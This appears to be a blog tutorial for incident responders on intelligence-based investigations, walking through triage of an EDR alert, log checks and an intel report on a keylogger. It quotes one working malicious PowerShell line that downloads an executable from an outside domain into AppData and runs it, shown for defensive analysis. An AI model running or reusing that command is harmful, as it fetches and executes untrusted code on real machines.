Introduction

System-based investigations are hard. Like I mentioned in the systemic investigations post, you’re looking at a lot of data, ideally in not a lot of time. For non-interactive activities, there’s a better way than systemic investigation to enumerate all evil perpetrated by an attacker on a system. Enter intelligence-based investigations!

General Theory

With well-documented malware and a thorough understanding of its capabilities, an analyst can relatively easily investigate a system and determine the malware’s impact.

Intel comes in two main varieties - source code review and intelligence reports.

Source Code Review

We most frequently use source code review against scripts (e.g. bash, PowerShell) and interpreted languages (e.g., python), rather than compiled binaries. Consider a PowerShell downloader where the script compresses the contents of the user’s documents directory and posts them to a given C2 server.

Reading the script is relatively simple (when compared to something like reverse-engineering a binary), and it makes the enumeration of attacker activity simple. While there’s still work to do in enumerating the lost data (and confirming it was successfully exfiltrated!), this is a very finite list of things to investigate.

Intel Reports

Intel reports effectively extend on the idea of reading a script to understand malware. You can get intel reports from various sources, such as specialist vendors, blogs, automated malware sandboxes like VirusTotal or Joe’s Sandbox, or your own internal threat intelligence or malware analysis teams.

Regardless of the source of the intelligence, your aim remains the same: to fully comprehend the actions the malware performs or tries to perform on a system. With this finite list, you do the same as above - determine if potential actions took place, document the impact, then manage appropriately.

There are a couple of possible outcomes of intel based analysis. Ideally, it’s a closed investigation - you find and investigate a single bit of malware, take eradication actions, and move on with your life - yay!

More commonly, you’ll probably find that your first malware sample attempts to download additional tooling and malware - in this case, you review the new malware sample, and if there’s intel for that sample too, simply repeat an intel investigation for the new sample.

Worst-case scenario, you investigate, and find a malware sample that allows an attacker interactive access to a system - yikes! Because you can’t read a report and understand exactly what an attacker did on your system (every attacker is different, damnit), you likely need to pivot across to an evidence-based investigation. Before doing so though - check your intel! You might discover the interactive malware connects to a C2 to give the attacker its shell - if you can see this, and none of these connections were successfully established, you’re in the clear. Phew!

For those of you who are graphically minded, here’s how you can go from an initial lead to completing an intel-based investigation.

Example Intel Investigation

It’s Friday afternoon (because it’s always a Friday afternoon) when a new alert comes in to the queue. A script has executed on an endpoint, and your EDR of choice has flagged it as potentially evil. Leaping straight in to action like the unacknowledged hero you are, you pull a copy of the script and review what it does. Here’s what you see:

(New-Object System.Net.WebClient).DownloadFile(‘http://deloril.com/~yahoo/csrsv.exe’,"$env:APPDATA\csrss.exe");Start-Process (“$env:APPDATA\csrss.exe”)

At this stage, we don’t need any additional intel. A quick read can tell us what’s going on. csrss.exe is a legitimate Windows binary, but it shouldn’t be downloaded from a non-Microsoft site (or from anywhere outside of Windows Update, really). It also lives in C:\Windows\System32, and never legitimately launches from a user’s AppData directory. So it’s definitely suss! Triage complete, and in record time!

… except not quite. We understand what the script tries to do, but we do not know if it was successful in executing its intended actions on the host in question. There are a few indicators above we’re going to look for, depending on our environment.

If you’re lucky enough to have DNS logging or network level visibility, we can check our logs for resolution attempts of deloril.com, or connections to the resolved IP address. If found, this would be enough to confirm the script executed. Does that confirm the second stage binary successfully downloaded and executed, though? Probably not. If I didn’t have any additional logging though, this would be enough for me to decide I need to contain this host and dig deeper.

But for the sake of good examples, let’s say we have additional logging! In this example, we have a very verbose EDR solution, or a well configured SysMon service, or similar. First, we look for a file write event for a file and path matching *\AppData\Roaming\csrss.exe. If we find that, we know the download completed successfully. To complete our story though, we’re also going to look for process start events for this same file path - confirmed execution is as far as we can go from the script lead, and means we’ll need to dive into external intel sources. Which, because it’s example time, is exactly what we find! How lucky!

Ok, so we’ve gathered an understanding of the first stage malware, and luckily it’s completely non-interactive, so intel-based investigation is appropriate. BUT, we’ve also found an unknown binary that we can’t just read the source code of, that has definitely executed on the system, so we’ll restart our intel-based investigation with the new csrss.exe binary as our subject.

We pull a copy of the binary and calculate its hash (f7570b7ec498bcd086a5318d9a9bcb0f). Searching the internet for this hash, we find this public intel report. Have a read, think about how you’d investigate this, then come back and see if our processes align. Take your time, I’ll wait, I promise!

Expert in the Wishful Woodchuck malware? Me neither! Thankfully, though, we don’t need to be. We just need to understand that this is a key logging malware, as well as the system and network-based indicators to look for, to complete our analysis.

Network-based indicators? Zero! Yay! That’s a straightforward investigation. IF they were listed in the report though, we’d look for them the same way we did deloril.com, and it would start to paint a picture of successful execution, volume of data transfer, etc.

For file-based indicators, we know that when WW successfully executes, it will write a file called msimm.dat to the same directory the malware was executed from. So we go back to the excellent notes we took from the script-based analysis and see that the working directory of PowerShell when the malicious script was executed was C:\Users\homer\. So we’re going to check this directory for msimm.dat, and use this to determine if the malware has executed, and if it functioned correctly. If found, thanks to that report, we could go a step further and attempt to decrypt the file to see what keystrokes were logged.

And that’s it. All that’s left to do is work out how the malware got on to the system and close that hole, clean up this system, confirm this malware isn’t elsewhere in your environment, and enjoy your weekend. There are additional questions that are raised - if the malware has no C2 mechanism, why was it dropped on this machine? How would the attacker access the keylogger file? While fun to think about, unless the initial access mechanism provided additional insights, there’s not much we can do about these questions. Finally, if we found evidence the malware had an interactive capability that we couldn’t prove didn’t successfully execute, we’d need to pivot across to an evidence-based investigation.

If you don’t have enough intelligence about the malware or if it does something different from what was reported, you’ll need to pivot across to an evidence-based investigation.

Conclusion

When the intel is available, or the malware is in plaintext, we can turn big scary alerts into piles of nothing burger quickly with intel based investigations. It’s my sincere hope that this article has either given you a new way to look at investigations, or at least given you a tool or two to make your own processes faster. Intel investigations aren’t suitable for every alert / lead, but when appropriate, can allow us to provide the business a high-confidence result with a quick turnaround.

Credits

Huge thanks to the NCSC for the excellent malware write up used above.